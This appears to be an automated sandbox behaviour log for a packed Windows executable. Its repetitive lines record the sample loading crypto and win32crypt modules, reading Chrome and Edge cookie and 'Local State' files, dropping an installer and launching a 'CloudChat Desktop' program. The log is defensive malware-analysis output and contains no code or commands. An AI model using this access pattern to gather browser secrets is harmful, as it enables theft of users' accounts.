Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\VCRUNTIME140.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\VCRUNTIME140_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\_sqlite3.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\win32\win32crypt.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ecb.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ecb.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cbc.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cfb.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ctr.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ctr.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_strxor.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_strxor.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_BLAKE2s.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_BLAKE2s.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Protocol VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA1.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA1.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA256.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA256.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_Salsa20.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_Salsa20.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Protocol\_scrypt.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Protocol\_scrypt.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_cpuid_c.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_cpuid_c.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_portable.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_portable.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_clmul.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_clmul.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ocb.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ocb.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aesni.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aesni.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Queries volume information: C:\Users\user\AppData\Roaming\CloudChat Desktop\log.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Queries volume information: C:\Users\user\AppData\Roaming\CloudChat Desktop\log.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Queries volume information: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices.AccountManagement\v4.0_4.0.0.0__b77a5c561934e089\System.DirectoryServices.AccountManagement.dll VolumeInformation	Jump to behavior
